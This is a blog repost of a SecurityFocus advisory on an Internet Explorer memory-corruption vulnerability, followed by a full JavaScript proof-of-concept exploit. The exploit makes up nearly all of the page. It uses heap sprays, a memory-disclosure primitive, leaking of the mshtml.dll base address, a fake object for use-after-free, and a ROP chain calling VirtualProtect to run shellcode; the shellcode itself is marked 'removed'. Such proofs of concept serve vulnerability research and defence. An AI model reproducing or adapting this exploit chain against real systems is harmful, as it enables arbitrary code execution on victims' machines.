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About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

source: https://www.securityfocus.com/bid/49964/info

Microsoft Internet Explorer is prone to a remote memory-corruption vulnerability.

Successful exploits will allow an attacker to run arbitrary code in the context of the user running the application. Failed attacks may cause denial-of-service conditions. 

<html>
<head>
</head>

<body>


<script type="text/javascript">
<!--

//originally, windows 7 compatible calc.exe shellcode from SkyLined
var scode = "removed";

var newstack,newstackaddr;
var fakeobj;

var spray,spray2,selarray,readindex,readaddr,optarryaddr;
var elms = new Array();

var optarray;

var mshtmlbase;

//option object that is to be corrupted
var corruptedoption;
var corruptedoptionaddr;
var corruptaddr;

function strtoint(str) {
    return str.charCodeAt(1)*0x10000 + str.charCodeAt(0);
}

function inttostr(num) {
    return String.fromCharCode(num%65536,Math.floor(num/65536));
}

function crash() {
    var o = new Option();
    selarray[99].options.add(o,-0x20000000);
}

function readmem(addr) {
    if(addr < readaddr) alert("Error, can't read that address");
    return strtoint(spray[readindex].substr((addr-readaddr)/2,2));
}

function readmem2(addr,size) {
    if(addr < readaddr) alert("Error, can't read that address");
    return spray[readindex].substr((addr-readaddr)/2,size/2);
}

function overwrite(addr) {
    try {
        var index = (addr-optarryaddr)/4 - 0x40000000;
        selarray[99].options.add(optarray.pop(),index);
    } catch(err) {}   
}

function getreadaddr() {
    readaddr = 0;
    var indexarray = new Array();
    var tmpaddr = 0;
    var i,index;
    
    index = readmem(tmpaddr);
    indexarray.push(index);
    
    while(1) {
        tmpaddr += 0x100000;
        index = readmem(tmpaddr);
        for(i=0;i<indexarray.length;i++) {
            if(indexarray[i]==index+1) {
                readaddr = readmem(tmpaddr-0x24)-i*0x100000+0x24;
                return 1;
            } else if(indexarray[i]==index-1) {
                readaddr = readmem(tmpaddr-0x20)-i*0x100000+0x24;
                return 1;               
            }
        }
        indexarray.push(index);
    }
}

//leverages the vulnerability into memory disclosure
function initread() {
    //overwrite something in a heap spray slide
    try {
        selarray[99].options.add(optarray.pop(),-100000000/4);
    } catch(err) {}
    
    //now find what and where exectly did we overwrite
    readindex = -1;
    var i;
    for(i=1;i<200;i++) {
        if(spray[0].substring(2,spray[0].length-2)!=spray[i].substring(2,spray[0].length-2))
{
            readindex = i;
            break;
        }
    }

    if(readindex == -1) {
        alert("Error overwriring first spray");
        return 0;
    }

    var start=2,len=spray[readindex].length-2,mid;
    while(len>10) {
        mid = Math.round(len/2);
        mid = mid - mid%2;
        if(spray[readindex].substr(start,mid) !=
spray[readindex-1].substr(start,mid)) {
            len = mid;
        } else {
            start = start+mid;
            len = len-mid;
            //if(spray[readindex].substr(start,mid) ==
spray[readindex-1].substr(start,mid)) alert("error");
        }
    }
    
    for(i=start;i<(start+20);i=i+2) {
        if(spray[readindex].substr(i,2) != spray[readindex-1].substr(i,2)) {
            break;
        }
    }
    
    //overwrite the string length
    try {
        selarray[99].options.add(optarray.pop(),-100000000/4-i/2-1);
    } catch(err) {}
       
    if(spray[readindex].length == spray[readindex-1].length) alert("error
overwriting string length");
    
    //readaddr = strtoint(spray[readindex].substr((0x100000-4-0x20+4)/2,2))+0x24;
    getreadaddr();
    
    optarryaddr = readaddr + 100000000 + i*2;

    return 1;   
}

function trysploit() {
    //create some helper objects
    for(var i =0; i < 100; i++) {
        elms.push(document.createElement('div'));
    }

    //force the option cache to rebuild itself
    var tmp1 = selarray[99].options[70].text;

    //overwrite the CTreeNode pointer
    overwrite(corruptaddr);
    //read the address of the option object we overwrited with
    var optadr = readmem(corruptaddr);
    //delete the option object...
    selarray[99].options.remove(0);
    
    CollectGarbage();
    
    //...and allocate some strings in its place
    for(var i = 0; i < elms.length; i++) {
        elms[i].className = fakeobj;
    }

    //verify we overwrote the deleted option object successfully
    if(readmem(optadr) != strtoint(fakeobj.substr(0,2))) return 0;

    alert("success, calc.exe should start once you close this message box");

    //now do something with the corrupted option object
    corruptedoption.parentNode.click();
}

function hs() {
    
    //first heap spray, nop slide + shellcode   
    spray = new Array(200);
    var pattern = unescape("%u0C0C%u0C0C");
    while(pattern.length<(0x100000/2)) pattern+=pattern;
    pattern = pattern.substr(0,0x100000/2-0x100);
    for(var i=0;i<200;i++) {
        spray[i] = [inttostr(i)+pattern+scode].join("");
    }

    //fill small gaps, we wan everything _behind_ our heap spray so that
we can read it
    var asmall = new Array(10000);
    pattern = "aaaa";
    while(pattern.length<500) pattern+=pattern;
    for(var i=0;i<10000;i++) {
        asmall[i]=[pattern+pattern].join("");
    }
    
    //create some select and option elements
    selarray = new Array(100);
    for(var i=0;i<100;i++) {
        selarray[i] = document.createElement("select");
        for(var j=0;j<100;j++) {
            var o = new Option("oooooooooooooooooo","ooooooooooooooooooooo");
            selarray[i].options.add(o,0);
        }
    }
    
    //create some extra option elements
    optarray = new Array(10000);
    for(var i=0;i<10000;i++) {
        optarray[i] = new Option("oooooooooooooooooo","ooooooooooooooooooooo");
    }
    
    //enable memory disclosure
    if(initread()==0) return;

    //force the option cache to rebuild itself
    var tmp1 = selarray[99].options[60].text;
    
    //get the address of some option element to be corrupted, also remove
it from its select element, we don't want anything else messing with
it
    corruptedoptionaddr = readmem(optarryaddr+60*4);
    corruptedoption = selarray[99].options[60];
    selarray[99].options.remove(60);
    
    //get the base address of mshtml.dll based on the vtable address
inside the option object
    mshtmlbase = readmem(corruptedoptionaddr)-0xFC0C0;
    alert("base address of mshtml.dll : " + mshtmlbase.toString(16));

    //we'll overwrite the pointer to the CTreeNode object, compute its address
    corruptaddr = corruptedoptionaddr+0x14;

    //second heap-spray, this one will act as a stack (we'll exchange
stack pointer with a pointer into this)
    spray2 = new Array(200);   

    //some address that is likely to be inside the "stack"
    newstackaddr = optarryaddr+100000000;
    newstackaddr-=newstackaddr%0x1000;
    newstackaddr+=0x24;

    //assemble the "stack" so that it calls VirtualProtect on the firs
shellcode and then jumps into it through return-oriented-programming
    newstack = inttostr(newstackaddr+0x10)+unescape("%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA")+inttostr(newstackaddr+0x14)+inttostr(mshtmlbase+0x14EF7)+inttostr(mshtmlbase+0x1348)+inttostr(mshtmlbase+0x801E8)+inttostr(readaddr+0x100000-0x24)+inttostr(0x100000)+inttostr(0x40)+inttostr(readaddr+0x1000)+inttostr(readaddr+0x101000)+unescape("%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA")+inttostr(mshtmlbase+0x1B43F);
    while(newstack.length<(0x1000/2))
newstack+=unescape("%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA");
    newstack = newstack.substr(0,0x1000/2);
    while(newstack.length<(0x100000/2)) newstack+=newstack;
    newstack = newstack.substr(0,0x100000/2-0x100);
    for(var i=0;i<200;i++) {
        spray2[i] = [newstack].join("");
    }
    
    //constract a fake object which will replace a deleted option object
(it has to be the same size)
    //fakeobj = unescape("%u4141%u4141")+inttostr(newstackaddr)+unescape("%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141");
    fakeobj = unescape("%u4141%u4141%u4141%u4141")+unescape("%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141");
    
    //loop until we either achieve command execution or fail
    for(var i=0;i<100;i++) {
        trysploit();
    }
    
    alert("Exploit failed, try again");

}


hs();


-->
</script>


</body>
</html>